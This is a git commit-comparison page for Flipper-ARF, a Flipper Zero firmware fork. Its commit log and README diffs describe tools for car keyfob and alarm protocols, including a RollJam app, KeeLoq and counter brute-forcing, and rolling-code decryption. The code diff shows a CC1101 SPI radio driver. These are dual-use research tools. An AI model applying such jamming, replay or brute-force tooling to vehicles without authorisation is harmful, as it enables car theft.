Compare commits

...

77 Commits

Author SHA1 Message Date
Andrea Santaniello
b318b3e9ff CRC check for marelli 2026-03-28 18:24:02 +01:00
D4rk$1d3
117381e5a1 Update README.md
All checks were successful
Build Dev Firmware / build (push) Successful in 7m2s
2026-03-25 14:28:18 -03:00
d4rks1d33
702cf5abc8 Update API, Multipage handling for all starline and scherkhan buttons (Still WIP), add ChiefCooker/CanCommander and CanTool as external apps
All checks were successful
Build Dev Firmware / build (push) Successful in 6m46s
2026-03-24 21:58:41 -03:00
Andrea
17011180d1 Merge pull request #4 from LTX128/main
All checks were successful
Build Dev Firmware / build (push) Successful in 6m31s
Add Device Name changer in System Settings
2026-03-24 21:46:42 +01:00
Andrea Santaniello
d85657b6b3 Update README.md 2026-03-24 20:57:49 +01:00
Andrea Santaniello
2fd01bb911 Scher Khan PRO/PRO2 and Sheriff CFM 2026-03-24 20:50:48 +01:00
d4rks1d33
d23a892a16 Small changes
All checks were successful
Build Dev Firmware / build (push) Successful in 6m46s
2026-03-24 13:39:45 -03:00
d4rks1d33
16d06d75fe Fix Starline d-pad mapping
All checks were successful
Build Dev Firmware / build (push) Successful in 10m44s
2026-03-23 21:35:59 -03:00
d4rks1d33
937a2204c1 Scher-Khan small fixes
All checks were successful
Build Dev Firmware / build (push) Successful in 6m48s
2026-03-23 20:32:24 -03:00
LTX74
aaf16ec0de add Device Name changer in System Settings 2026-03-22 23:20:34 +01:00
LTX74
cdd7c56b69 increase stack to 2K and add storage dependency 2026-03-22 23:18:16 +01:00
LTX74
0fd985c67a increase stack to 2K and add storage dependency 2026-03-22 23:17:48 +01:00
LTX74
e93606aa87 add TextInput and Storage to SystemSettings struct 2026-03-22 23:15:29 +01:00
LTX74
3933a77b72 Update system_settings.h 2026-03-22 23:14:57 +01:00
grugnoymeme
ab665809ce fixed and finished ford
All checks were successful
Build Dev Firmware / build (push) Successful in 6m29s
2026-03-22 19:40:56 +01:00
Andrea Santaniello
56c5670956 Revert "Added Term of Services & Easter egg"
All checks were successful
Build Dev Firmware / build (push) Successful in 6m28s
This reverts commit a5cf675561.
2026-03-22 13:23:11 +01:00
d4rks1d33
a5cf675561 Added Term of Services & Easter egg
All checks were successful
Build Dev Firmware / build (push) Successful in 6m17s
2026-03-21 23:37:21 -03:00
D4rk$1d3
c6bec5ef4f Merge pull request #3 from LeeroysHub/main
All checks were successful
Build Dev Firmware / build (push) Successful in 6m25s
2026-03-21 23:02:27 -03:00
Leeroy
883d387246 Change BS to Checksum in Ford_V0 2026-03-22 08:49:31 +11:00
Leeroy
951f35c356 Remove unneeded BSMagic from Ford V0, we have proper BS calc now. 2026-03-22 07:29:32 +11:00
d4rks1d33
4e05a0e631 Fixed Ford V0, added Starline (tested) & added ScherKhan (untested)
All checks were successful
Build Dev Firmware / build (push) Successful in 6m34s
2026-03-21 15:24:53 -03:00
d4rks1d33
17d497e21e Fix RollJam app
All checks were successful
Build Dev Firmware / build (push) Successful in 6m26s
2026-03-20 22:56:59 -03:00
47LeCoste
d5b46ffefb Update .gitignore
All checks were successful
Build Dev Firmware / build (push) Successful in 6m33s
2026-03-20 15:53:17 +00:00
D4rk$1d3
9d2298114c Update application.fam
All checks were successful
Build Dev Firmware / build (push) Successful in 6m32s
2026-03-18 19:18:49 -03:00
D4rk$1d3
b93a970647 Delete applications/main/KeylessGoSniffer directory 2026-03-18 19:17:43 -03:00
47LeCoste
c6265ea29b Delete CHANGELOG.md
All checks were successful
Build Dev Firmware / build (push) Successful in 10m8s
2026-03-18 19:41:47 +00:00
47LeCoste
8e0a81b89d Update fiat_marelli.h 2026-03-18 19:40:46 +00:00
grugnoymeme
6f39fd4803 removed problematics and fixed f3
All checks were successful
Build Dev Firmware / build (push) Successful in 6m34s
2026-03-18 19:45:16 +01:00
grugnoymeme
41d10f9b3d Merge remote-tracking branch 'refs/remotes/origin/main' 2026-03-18 19:26:36 +01:00
grugnoymeme
1f97aa2e3c reduced datarate for F3, renamed 1,2,A1,F1,F3, introduced AU_1,RF_1 for test 2026-03-18 19:26:21 +01:00
D4rk$1d3
5b9038173b Update README.md 2026-03-18 15:04:38 -03:00
grugnoymeme
fde0a57595 forgtten to close a }
All checks were successful
Build Dev Firmware / build (push) Successful in 6m30s
2026-03-18 16:23:59 +01:00
MX
3fb40944e6 NFC: Add Mifare Ultralight C Write Support
by haw8411
2026-03-18 16:16:04 +01:00
grugnoymeme
e61cfa765a bft force seed value @MMX 2026-03-18 16:07:20 +01:00
grugnoymeme
fd0dd6c324 subghz fix very big issue with tx on read screen @MMX 2026-03-18 16:04:22 +01:00
grugnoymeme
8ff5e3c311 hide arf_pictures folder, and updated readme images 2026-03-18 15:58:12 +01:00
grugnoymeme
4974201851 Merge remote-tracking branch 'refs/remotes/origin/main' 2026-03-18 15:55:47 +01:00
grugnoymeme
b0b464e3fb removed unused documentation, and changed the owner of the repo 2026-03-18 15:55:39 +01:00
47LeCoste
57226fc902 Update README.md 2026-03-18 14:52:24 +00:00
grugnoymeme
cb9aee6422 Merge remote-tracking branch 'refs/remotes/origin/main' 2026-03-18 15:47:56 +01:00
grugnoymeme
b720fac88a add keyfinder 24b protocol, removed AGAIN keys.c/.h PAY ATTENTION WHEN MERGE XD, setup reserch setting_user file 2026-03-18 15:47:43 +01:00
Andrea Santaniello
22daa7cfc3 Correct bit order 2026-03-18 15:36:32 +01:00
grugnoymeme
1c9fddf076 Merge remote-tracking branch 'refs/remotes/origin/main'
All checks were successful
Build Dev Firmware / build (push) Successful in 6m33s
2026-03-18 15:16:47 +01:00
grugnoymeme
4380d9f156 small fmt 2026-03-18 15:16:21 +01:00
d4rks1d33
a4da50c191 Update home screenshot
All checks were successful
Build Dev Firmware / build (push) Successful in 6m29s
2026-03-17 21:35:40 -03:00
d4rks1d33
e881d69ab3 Added passive Keyless sniffer for future analysis of keyless entry systems
All checks were successful
Build Dev Firmware / build (push) Successful in 6m46s
2026-03-17 21:22:30 -03:00
grugnoymeme
b041177398 fixing problem of exit confirm not working when entering subghz app with right arrow ALREADY WIP
All checks were successful
Build Dev Firmware / build (push) Successful in 6m35s
2026-03-17 22:18:26 +01:00
grugnoymeme
f347d5a976 better display of datas after decrypt for PSA
All checks were successful
Build Dev Firmware / build (push) Successful in 6m54s
2026-03-17 21:08:18 +01:00
grugnoymeme
3a6da87288 hide Emulate choice in subghz saved menu for psa encrypted sub files bc useless, and moved PSA decrypt first
All checks were successful
Build Dev Firmware / build (push) Successful in 6m41s
2026-03-17 20:17:21 +01:00
grugnoymeme
5d94639d81 Merge remote-tracking branch 'refs/remotes/origin/main' 2026-03-17 20:12:54 +01:00
grugnoymeme
5dcfc48e10 restored holtekS protocols bc super commons, fixed fiat spa, scheduled tea iterations for faster bf1 in psa, fixed progress bar's issue on 1 percent in psa decrypt, fmt protocol items 2026-03-17 20:07:07 +01:00
Andrea Santaniello
20a95b2fec Apprently using the bt thread to save the keys causes a crash due to the low memory
All checks were successful
Build Dev Firmware / build (push) Successful in 6m40s
2026-03-17 17:24:03 +01:00
Andrea Santaniello
3605669cc5 Fixing crash on finding first good candidate
All checks were successful
Build Dev Firmware / build (push) Successful in 6m38s
2026-03-17 15:28:16 +01:00
Andrea Santaniello
fb1c28a0dd Update subghz_scene_kl_bf_cleanup.c
All checks were successful
Build Dev Firmware / build (push) Successful in 6m42s
2026-03-17 14:23:56 +01:00
Andrea Santaniello
64a971e806 Keeloq Bruteforcer updates
Some checks failed
Build Dev Firmware / build (push) Failing after 2m37s
2026-03-17 14:01:27 +01:00
d4rks1d33
12db96a8ab Fix counter brute force, open window to 500ms per transmission making more stable
All checks were successful
Build Dev Firmware / build (push) Successful in 6m34s
2026-03-16 21:41:33 -03:00
d4rks1d33
4b50b8b70c Fix warning UI
All checks were successful
Build Dev Firmware / build (push) Successful in 6m35s
2026-03-16 20:09:04 -03:00
d4rks1d33
0f24f8c105 Added warning on counter bruteforce 2026-03-16 19:45:54 -03:00
Andrea Santaniello
238f39d0d8 Fixes 2026-03-16 23:39:22 +01:00
Andrea Santaniello
4c3581735b Better handling of the keeloq bf
All checks were successful
Build Dev Firmware / build (push) Successful in 6m23s
2026-03-16 22:31:16 +01:00
Andrea Santaniello
689df5262d Compiler bitch fix
All checks were successful
Build Dev Firmware / build (push) Successful in 6m28s
2026-03-16 17:57:09 +01:00
Andrea Santaniello
86c740d923 Preliminary stuff for phone accellerate Keeloq bruteforce
Some checks failed
Build Dev Firmware / build (push) Failing after 2m35s
2026-03-16 16:55:25 +01:00
Andrea Santaniello
0aef017c15 New assets by GONZOsint (https://github.com/GONZOsint)
All checks were successful
Build Dev Firmware / build (push) Successful in 6m46s
2026-03-16 13:57:23 +01:00
grugnoymeme
cea3bc3b6a fmt fiat marelli displayed datas and removed duplicates variant declaration in feed
All checks were successful
Build Dev Firmware / build (push) Successful in 6m25s
2026-03-16 05:58:05 +01:00
d4rks1d33
f3d08573a1 small fix
All checks were successful
Build Dev Firmware / build (push) Successful in 6m28s
2026-03-15 18:31:15 -03:00
Andrea
9e52a6eb6b Update Fiat Marelli entry in README.md
All checks were successful
Build Dev Firmware / build (push) Successful in 6m28s
2026-03-15 18:10:58 +01:00
Andrea Santaniello
faf669b457 Encoder for marelli/delphi
All checks were successful
Build Dev Firmware / build (push) Successful in 6m39s
2026-03-15 17:03:44 +01:00
Andrea Santaniello
e445b28d73 Update fiat_marelli.c
All checks were successful
Build Dev Firmware / build (push) Successful in 6m32s
2026-03-15 16:36:48 +01:00
Andrea Santaniello
19e2eaa554 Update fiat_marelli.c 2026-03-15 16:08:28 +01:00
Andrea Santaniello
2571ad7f22 Update fiat_marelli.c 2026-03-15 15:10:42 +01:00
Andrea Santaniello
22a0870559 Native chip AES (thanks to carphreak for suggesting it, saves some space) 2026-03-15 15:06:04 +01:00
d4rks1d33
1c9d1f404a Option to select Flux Capitor or Normal CC1101 on RollJam 2026-03-15 01:35:20 -03:00
d4rks1d33
fabb1ccc2d Official Flipper App now work with bluetooth 2026-03-15 00:42:43 -03:00
d4rks1d33
6a432a93ad Fix my bad sorry 2026-03-15 00:34:46 -03:00
d4rks1d33
d2cca91ec8 Small fix 2026-03-15 00:27:48 -03:00
d4rks1d33
6e483393e1 Update workflow 2026-03-15 00:20:10 -03:00
David
4dc688c25b Change encryption settings and add encrypted data
Updated encryption settings and added initialization vector and encrypted data.
2026-03-14 18:34:24 +01:00
332 changed files with 29583 additions and 14837 deletions

View File

Before

Width:  |  Height:  |  Size: 1.9 KiB

After

Width:  |  Height:  |  Size: 1.9 KiB

BIN
.arf_pictures/home.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.4 KiB

View File

Before

Width:  |  Height:  |  Size: 1.9 KiB

After

Width:  |  Height:  |  Size: 1.9 KiB

View File

Before

Width:  |  Height:  |  Size: 1.8 KiB

After

Width:  |  Height:  |  Size: 1.8 KiB

View File

Before

Width:  |  Height:  |  Size: 2.1 KiB

After

Width:  |  Height:  |  Size: 2.1 KiB

View File

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 34 KiB

View File

Before

Width:  |  Height:  |  Size: 1.9 KiB

After

Width:  |  Height:  |  Size: 1.9 KiB

5
.github/CODEOWNERS vendored
View File

@@ -1,5 +1,2 @@
# Default
* @xMasterX
# Assets
/assets/resources/infrared/assets/ @amec0e @Leptopt1los @xMasterX
* ARF Crew

View File

@@ -17,6 +17,7 @@ jobs:
- name: Build firmware
run: |
export DIST_SUFFIX=Flipper-ARF
chmod +x fbt
./fbt COMPACT=1 DEBUG=0 updater_package
@@ -28,7 +29,7 @@ jobs:
id: firmware
run: |
DIR=$(ls -d dist/f7-* | head -n 1)
FILE="$DIR/flipper-z-f7-update-local.tgz"
FILE="$DIR/flipper-z-f7-update-Flipper-ARF.tgz"
if [ ! -f "$FILE" ]; then
echo "Firmware file not found!"

View File

@@ -1,66 +0,0 @@
## Main changes
- Current API: 87.6
* SubGHz: Signal Settings Improvements (PR #968 | by @Dmitry422)
* Apps: Build tag (**17feb2026**) - **Check out more Apps updates and fixes by following** [this link](https://github.com/xMasterX/all-the-plugins/commits/dev)
## Other changes
* MFKey: Update to v4.1 (by @noproto & @dchristle)
<br><br>
#### Known NFC post-refactor regressions list:
- Mifare Mini clones reading is broken (original mini working fine) (OFW)
- While reading some EMV capable cards via NFC->Read flipper may crash due to Desfire poller issue, read those cards via Extra actions->Read specific card type->EMV
----
[-> How to install firmware](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/HowToInstall.md)
[-> Unleashed FW Web Installer](https://web.unleashedflip.com)
## Please support development of the project
| Service | Remark | QR Code | Link/Wallet |
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------|
| <img src="https://cdn.simpleicons.org/patreon/dark/white" alt="Patreon" width="14"/> **Patreon** | | <div align="center"><a href="https://github.com/user-attachments/assets/a88a90a5-28c3-40b4-864a-0c0b79494a42"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [patreon.com/mmxdev](https://patreon.com/mmxdev) |
| <img src="https://cdn.simpleicons.org/boosty" alt="Boosty" width="14"/> **Boosty** | patreon alternative | <div align="center"><a href="https://github.com/user-attachments/assets/893c0760-f738-42c1-acaa-916019a7bdf8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [boosty.to/mmxdev](https://boosty.to/mmxdev) |
| <img src="https://gist.githubusercontent.com/m-xim/255a3ef36c886dec144a58864608084c/raw/71da807b4abbd1582e511c9ea30fad27f78d642a/cloudtips_icon.svg" alt="Cloudtips" width="14"/> CloudTips | only RU payments accepted | <div align="center"><a href="https://github.com/user-attachments/assets/5de31d6a-ef24-4d30-bd8e-c06af815332a"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [pay.cloudtips.ru/p/7b3e9d65](https://pay.cloudtips.ru/p/7b3e9d65) |
| <img src="https://raw.githubusercontent.com/gist/PonomareVlad/55c8708f11702b4df629ae61129a9895/raw/1657350724dab66f2ad68ea034c480a2df2a1dfd/YooMoney.svg" alt="YooMoney" width="14"/> YooMoney | only RU payments accepted | <div align="center"><a href="https://github.com/user-attachments/assets/33454f79-074b-4349-b453-f94fdadc3c68"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [yoomoney.ru/fundraise/XA49mgQLPA0.221209](https://yoomoney.ru/fundraise/XA49mgQLPA0.221209) |
| <img src="https://cdn.simpleicons.org/tether" alt="USDT" width="14"/> USDT | TRC20 | <div align="center"><a href="https://github.com/user-attachments/assets/0500498d-18ed-412d-a1a4-8a66d0b6f057"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `TSXcitMSnWXUFqiUfEXrTVpVewXy2cYhrs` |
| <img src="https://cdn.simpleicons.org/ethereum" alt="ETH" width="14"/> ETH | BSC/ERC20-Tokens | <div align="center"><a href="https://github.com/user-attachments/assets/0f323e98-c524-4f41-abb2-f4f1cec83ab6"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `0xFebF1bBc8229418FF2408C07AF6Afa49152fEc6a` |
| <img src="https://cdn.simpleicons.org/bitcoin" alt="BTC" width="14"/> BTC | | <div align="center"><a href="https://github.com/user-attachments/assets/5a904d45-947e-4b92-9f0f-7fbaaa7b37f8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `bc1q0np836jk9jwr4dd7p6qv66d04vamtqkxrecck9` |
| <img src="https://cdn.simpleicons.org/solana" alt="SOL" width="13"/> SOL | Solana/Tokens | <div align="center"><a href="https://github.com/user-attachments/assets/ab33c5e0-dd59-497b-9c91-ceb89c36b34d"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `DSgwouAEgu8iP5yr7EHHDqMNYWZxAqXWsTEeqCAXGLj8` |
| <img src="https://cdn.simpleicons.org/dogecoin" alt="DOGE" width="14"/> DOGE | | <div align="center"><a href="https://github.com/user-attachments/assets/2937edd0-5c85-4465-a444-14d4edb481c0"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `D6R6gYgBn5LwTNmPyvAQR6bZ9EtGgFCpvv` |
| <img src="https://cdn.simpleicons.org/litecoin" alt="LTC" width="14"/> LTC | | <div align="center"><a href="https://github.com/user-attachments/assets/441985fe-f028-4400-83c1-c215760c1e74"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `ltc1q3ex4ejkl0xpx3znwrmth4lyuadr5qgv8tmq8z9` |
| <img src="https://bitcoincash.org/img/green/bitcoin-cash-circle.svg" alt="BCH" width="14"/> BCH | | <div align="center"><a href="https://github.com/user-attachments/assets/7f365976-19a3-4777-b17e-4bfba5f69eff"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `qquxfyzntuqufy2dx0hrfr4sndp0tucvky4sw8qyu3` |
| <img src="https://cdn.simpleicons.org/monero" alt="XMR" width="14"/> XMR | Monero | <div align="center"><a href="https://github.com/user-attachments/assets/96186c06-61e7-4b4d-b716-6eaf1779bfd8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `41xUz92suUu1u5Mu4qkrcs52gtfpu9rnZRdBpCJ244KRHf6xXSvVFevdf2cnjS7RAeYr5hn9MsEfxKoFDRSctFjG5fv1Mhn` |
| <img src="https://cdn.simpleicons.org/ton" alt="TON" width="14"/> TON | | <div align="center"><a href="https://github.com/user-attachments/assets/92a57e57-7462-42b7-a342-6f22c6e600c1"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `UQCOqcnYkvzOZUV_9bPE_8oTbOrOF03MnF-VcJyjisTZmsxa` |
#### Thanks to our sponsors who supported project in the past and special thanks to sponsors who supports us on regular basis:
@mishamyte, ClaraCrazy, Pathfinder [Count Zero cDc], callmezimbra, Quen0n, MERRON, grvpvl (lvpvrg), art_col, ThurstonWaffles, Moneron, UterGrooll, LUCFER, Northpirate, zloepuzo, T.Rat, Alexey B., ionelife, ...
and all other great people who supported our project and me (xMasterX), thanks to you all!
## **Recommended update option - Web Updater**
### What `e`, ` `, `c` means? What I need to download if I don't want to use Web updater?
What build I should download and what this name means - `flipper-z-f7-update-(version)(e / c).tgz` ? <br>
`flipper-z` = for Flipper Zero device<br>
`f7` = Hardware version - same for all flipper zero devices<br>
`update` = Update package, contains updater, all assets (plugins, IR libs, etc.), and firmware itself<br>
`(version)` = Firmware version<br>
| Designation | [Base Apps](https://github.com/xMasterX/all-the-plugins#default-pack) | [Extra Apps](https://github.com/xMasterX/all-the-plugins#extra-pack) |
|-----|:---:|:---:|
| ` ` | ✅ | |
| `c` | | |
| `e` | ✅ | ✅ |
**To enable RGB Backlight support go into LCD & Notifications settings**
RGB backlight [hardware mod](https://github.com/quen0n/flipperzero-firmware-rgb#readme), works only on modded flippers! do not enable on non modded device!
Firmware Self-update package (update from microSD) - `flipper-z-f7-update-(version).tgz` for mobile app / qFlipper / web<br>
Archive of `scripts` folder (contains scripts for FW/plugins development) - `flipper-z-any-scripts-(version).tgz`<br>
SDK files for plugins development and uFBT - `flipper-z-f7-sdk-(version).zip`

View File

@@ -29,11 +29,11 @@ This project may incorporate, adapt, or build upon **other open-source projects*
| | |
|:---:|:---:|
| ![Home](arf_pictures/home.png) | ![Sub-GHz Scanner](arf_pictures/subghz_scan.png) |
| ![Home](.arf_pictures/home.png) | ![Sub-GHz Scanner](.arf_pictures/subghz_scan.png) |
| Home Screen | Sub-GHz Scanner |
| ![Keeloq Key Manager](arf_pictures/keeloq_key_manager.png) | ![Mod Hopping](arf_pictures/mod_hopping.png) |
| ![Keeloq Key Manager](.arf_pictures/keeloq_key_manager.png) | ![Mod Hopping](.arf_pictures/mod_hopping.png) |
| Keeloq Key Manager | Mod Hopping Config |
| ![PSA Decrypt](arf_pictures/psa_decrypt_builtin.png) | ![Counter BruteForce](arf_pictures/counter_bruteforce.png) |
| ![PSA Decrypt](.arf_pictures/psa_decrypt_builtin.png) | ![Counter BruteForce](.arf_pictures/counter_bruteforce.png) |
| PSA XTEA Decrypt | Counter BruteForce |
---
@@ -45,21 +45,26 @@ This project may incorporate, adapt, or build upon **other open-source projects*
| Manufacturer | Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|:---|:---|:---:|:---:|:---:|:---:|:---:|
| VAG (VW/Audi/Skoda/Seat) | VAG GROUP | 433 MHz | AM | Yes | Yes | No |
| Porsche | Cayenne | 433/868 MHz | AM | Yes | Yes | No |
| Porsche | Porsche AG | 433/868 MHz | AM | Yes | Yes | No |
| PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | AM/FM | Yes | Yes | Yes |
| Ford | Ford V0 | 315/433 MHz | AM | Yes | Yes | Yes |
| Fiat | Fiat SpA | 433 MHz | AM | Yes | Yes | Yes |
| Fiat | Fiat Marelli | 433 MHz | AM | No | Yes | No |
| Fiat | Marelli/Delphi | 433 MHz | AM | No | Yes | Yes |
| Renault (old models) | Marelli | 433 MHz | AM | No | Yes | No|
| Mazda | Siemens (5WK49365D) | 315/433 MHz | AM/FM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V0 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V1 | 315/433 MHz | AM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V2 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V3/V4 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V5 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V6 | 433 MHz | FM | Yes | Yes | Yes |
| Subaru | Subaru | 433 MHz | AM | Yes | Yes | No |
| Mazda | Siemens (5WK49365D) | 315/433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V0 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V1 | 315/433 MHz | AM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V2 | 315/433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V3/V4 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V5 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V6 | 433 MHz | FM | Yes | Yes | Yes |
| Suzuki | Suzuki | 433 MHz | FM | Yes | Yes | Yes |
| Mitsubishi | Mitsubishi V0 | 868 MHz | FM | Yes | Yes | No |
| Starline | Star Line | 433 MHz | AM | Yes | Yes | No |
| Scher-Khan | Scher-Khan | 433 MHz | FM | Yes | Yes | No |
| Scher-Khan | Magic Code PRO1/PRO2 | 433 MHz | FM | Yes | Yes | Yes |
| Sheriff | Sheriff CFM (ZX-750/930) | 433 MHz | AM | Yes | Yes | No |
### Gate / Access Protocols
@@ -72,16 +77,19 @@ This project may incorporate, adapt, or build upon **other open-source projects*
| CAME TWEE | 433 MHz | AM | Yes | Yes | No |
| CAME Atomo | 433 MHz | AM | Yes | Yes | No |
| Faac SLH | 433/868 MHz | AM | Yes | Yes | No |
| Holtek | 433 MHz | AM | Yes | Yes | No |
| Holtek-Ht12x | 433 MHz | AM | Yes | Yes | No |
| Somfy Telis | 433 MHz | AM | Yes | Yes | Yes |
| Somfy Keytis | 433 MHz | AM | Yes | Yes | Yes |
| Alutech AT-4N | 433 MHz | AM | Yes | Yes | Yes |
| Keyfinder | 433 MHz | AM | Yes | Yes | No |
| KingGates Stylo4k | 433 MHz | AM | Yes | Yes | No |
| Beninca ARC | 433 MHz | AM | Yes | Yes | No |
| Hormann HSM | 433/868 MHz | AM | Yes | Yes | No |
| Marantec | 433 MHz | AM | Yes | Yes | Yes |
| Marantec24 | 433 MHz | AM | Yes | Yes | Yes |
### General Static Protocols
### General Protocols
| Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|:---|:---:|:---:|:---:|:---:|:---:|
@@ -101,8 +109,6 @@ This project may incorporate, adapt, or build upon **other open-source projects*
| Hay21 | 433 MHz | AM | Yes | Yes | No |
| Revers RB2 | 433 MHz | AM | Yes | Yes | No |
| Roger | 433 MHz | AM | Yes | Yes | No |
| BinRAW | 433/315/868 MHz | AM/FM | Yes | Yes | No |
| RAW | All | All | Yes | Yes | No |
---
@@ -110,9 +116,14 @@ This project may incorporate, adapt, or build upon **other open-source projects*
Compact release build:
To build:
```
./fbt COMPACT=1 DEBUG=0 updater_package
```
To flash:
```
./fbt COMPACT=1 DEBUG=0 flash_usb_full
```
---
@@ -125,7 +136,7 @@ Flipper-ARF aims to achieve:
- Stable encoder/decoder implementations
- Modular protocol expansion
**Primary focus:** VAG, PSA, Fiat, Ford, Asian platforms, and aftermarket alarm systems.
**Primary focus:** Automotives/Alarm's keyfob protocols, keeloq, and keyless systems.
> ⚠ This is a protocol-focused research firmware, not a general-purpose firmware.
@@ -133,10 +144,9 @@ Flipper-ARF aims to achieve:
## To Do / Planned Features
- [ ] Add Scher Khan & Starline protocols
- [ ] Marelli BSI encoder and encryption
- [ ] Improve RollJam app
- [ ] Expand and refine Subaru, Kia, PSA, and other manufacturer protocols
- [ ] Expand and refine as many manufacturer protocols as possible
---
@@ -177,7 +187,7 @@ Contributions are welcome if they:
> Non-automotive features are considered out-of-scope for now.
### This code is a mess!
![Talk is cheap, submit patches](arf_pictures/send_patches.jpeg)
![Talk is cheap, submit patches](.arf_pictures/send_patches.jpeg)
---
## Citations & References

View File

@@ -5,10 +5,15 @@
#include <furi_hal_power.h>
// ============================================================
// 5V OTG power for external modules (e.g. Rabbit Lab Flux Capacitor)
// 5V OTG power
// ============================================================
static bool otg_was_enabled = false;
static bool otg_was_enabled = false;
static bool use_flux_capacitor = false;
void rolljam_ext_set_flux_capacitor(bool enabled) {
use_flux_capacitor = enabled;
}
static void rolljam_ext_power_on(void) {
otg_was_enabled = furi_hal_power_is_otg_enabled();
@@ -27,9 +32,6 @@ static void rolljam_ext_power_off(void) {
}
}
// ============================================================
// GPIO Pins
// ============================================================
static const GpioPin* pin_mosi = &gpio_ext_pa7;
static const GpioPin* pin_miso = &gpio_ext_pa6;
static const GpioPin* pin_cs = &gpio_ext_pa4;
@@ -91,30 +93,43 @@ static const GpioPin* pin_amp = &gpio_ext_pc3;
#define MARC_TX 0x13
// ============================================================
// Bit-bang SPI
// Band calibration
// ============================================================
typedef struct {
uint32_t min_freq;
uint32_t max_freq;
uint8_t fscal3;
uint8_t fscal2;
uint8_t fscal1;
uint8_t fscal0;
} ExtBandCal;
static const ExtBandCal ext_band_cals[] = {
{ 299000000, 348000000, 0xEA, 0x2A, 0x00, 0x1F },
{ 386000000, 464000000, 0xE9, 0x2A, 0x00, 0x1F },
{ 778000000, 928000000, 0xEA, 0x2A, 0x00, 0x11 },
};
#define EXT_BAND_CAL_COUNT (sizeof(ext_band_cals) / sizeof(ext_band_cals[0]))
static const ExtBandCal* ext_get_band_cal(uint32_t freq) {
for(size_t i = 0; i < EXT_BAND_CAL_COUNT; i++) {
if(freq >= ext_band_cals[i].min_freq && freq <= ext_band_cals[i].max_freq)
return &ext_band_cals[i];
}
return &ext_band_cals[1];
}
static inline void spi_delay(void) {
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
for(int i = 0; i < 16; i++) __NOP();
}
static inline void cs_lo(void) {
furi_hal_gpio_write(pin_cs, false);
spi_delay(); spi_delay();
}
static inline void cs_hi(void) {
spi_delay();
furi_hal_gpio_write(pin_cs, true);
spi_delay(); spi_delay();
}
static inline void cs_lo(void) { furi_hal_gpio_write(pin_cs, false); spi_delay(); }
static inline void cs_hi(void) { spi_delay(); furi_hal_gpio_write(pin_cs, true); spi_delay(); }
static bool wait_miso(uint32_t us) {
CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
uint32_t s = DWT->CYCCNT;
uint32_t t = (SystemCoreClock / 1000000) * us;
while(furi_hal_gpio_read(pin_miso)) {
@@ -148,20 +163,10 @@ static uint8_t cc_strobe(uint8_t cmd) {
static void cc_write(uint8_t a, uint8_t v) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a);
spi_byte(v);
spi_byte(a); spi_byte(v);
cs_hi();
}
static uint8_t cc_read(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
spi_byte(a | 0x80);
uint8_t v = spi_byte(0x00);
cs_hi();
return v;
}
static uint8_t cc_read_status(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
@@ -179,10 +184,6 @@ static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
cs_hi();
}
// ============================================================
// Helpers
// ============================================================
static bool cc_reset(void) {
cs_hi(); furi_delay_us(30);
